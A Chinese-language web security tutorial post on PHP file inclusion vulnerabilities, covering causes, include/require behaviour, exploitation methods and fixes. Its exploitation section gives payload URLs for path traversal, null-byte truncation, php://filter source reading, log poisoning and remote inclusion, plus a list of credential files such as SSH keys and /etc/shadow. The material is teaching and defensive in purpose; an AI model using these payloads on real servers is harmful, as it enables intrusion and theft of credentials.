任意文件包含漏洞

松鼠说web安全之文件包含

    无需言,做自己。

0x01 漏洞成因

    通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
  •     本地文件包含漏洞
                           被包含的文件在服务器本地
  •    远程文件包含漏洞。
                           被包含的文件在第三方服务器
          条件: php.ini中配置项:
                
allow_url_fopen      ON
                 allow_url_include   ON

0x02 PHP中常见的文件包含函数

  • include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
  • include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
  • requier(): 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
  • require_once()功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

总结:

    (1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;

    (2) ***_once() 已加载的不重复加载

0x30 漏洞危害

  • 执行任意脚本代码
  • 控制网站
  • 控制服务器

0x40 漏洞利用

 本地文件包含

  1. 上传图片,包含图片Getshell
  2. 读文件,读PHP文件
  3. 包含日志文件GetShell
  4. 包含/proc/self/environ文件GetShell
  5. 如果有phpinfo可以包含临时文件
  6. 包含data:// 或者 php://input 等协议(需要allow_url_include=on)

1、包含图片的文件上传

demo1 show.php:

上传图片 1_php.jpg

测试:

http://localhost/code_inject/1/show.php?page=upload/20160801155130.jpg


demo2 show.php:

http://localhost/code_inject/2/show.php?page=../upload/20160801155526.jpg

demo3 show.php:


http://localhost/code_inject/3/show.php?page=../upload/20160801155718.jpg%00

2、“%00”截断的方式

     读取/etc/passwd文件:/etc/passwd%00

条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效

3、路径长度截断

     /etc/passwd/./././././.[...]/./././.

条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256

4、读文件

index.php?file=/etc/passwd

5、敏感文件:

/root/.ssh/authorized_keys 
/root/.ssh/id_rsa 
/root/.ssh/id_rsa.keystore 
/root/.ssh/id_rsa.pub 
/root/.ssh/known_hosts 
/etc/shadow 
/root/.bash_history 
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符) 
/proc/mounts
/proc/config.gz

6、读取PHP文件

index.php?file=php://filter/read=convert.dase64.encode/resource=index.php

7、包含日志文件GetShell (需要一定的读取权限)

    首先要找到日志文件的存放位置

  1.   文件包含漏洞去读取apache的配置文件
  2.  index.php?page=/etc/init.d/httpd
  3.  index.php?page=/etc/httpd/conf/httpd.conf
  4. 默认位置 /var/log/httpd/access_log 

    让日志文件插入PHP代码

  1.  burpsuite抓包改包
  2. curl发包
  3. php代码插入到get请求部分或者user_agent部分

    包含日志文件

index.php?page=/var/log/httpd/access_log

8、包含环境变量GetShell

   需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload


远程文件包含

条件:

php.ini 中配置项

alow_url_fopen ON

allow_url_include ON 


  1. 远程服务器存在一个txt文件,或者一个不被当前服务器解析的php文件(包含的时候 包含的是返回的php源代码,所以php源码不能被解析
  2.  index.php?page=http://www.xx.com/1/txt

0x05 漏洞挖掘

  •  特定的CMS,特定的版本可能存在漏洞
  •  web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测

0x06 漏洞修复

  •  php中可以使用 open_basedir配置限制访问权限在指定区域
  • 过滤 . (点) / (斜杠)  \ (反斜杠)
  • 禁止服务器远程文件包含

补充:

appache日志文件默认在

/etc/httpd/logs/access_log

或者

/var/log/httpd/access_logs

也可以找到apache的配置文件,通过配置文件找齐日志文件路径:

/etc/httpd/conf/httpd
或者

/etc/init.d/httpd

nginx日志文件默认在:

安装目录logs目录下

以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里

window 2003+iis6.0 日志文件默认放在

C:\WINDOWS\system32\Logfiles

配置文件默认在

C:\Windows/system32\inetsrv\metabase.xml

iis 7日志文件默认在

%SystemDrive%\inetpub\logs\LogFiles

配置文件默认目录

C:\Windows\System\inetsrv\config\applicationHost.config







你可能感兴趣的:(web安全,任意文件包含,漏洞)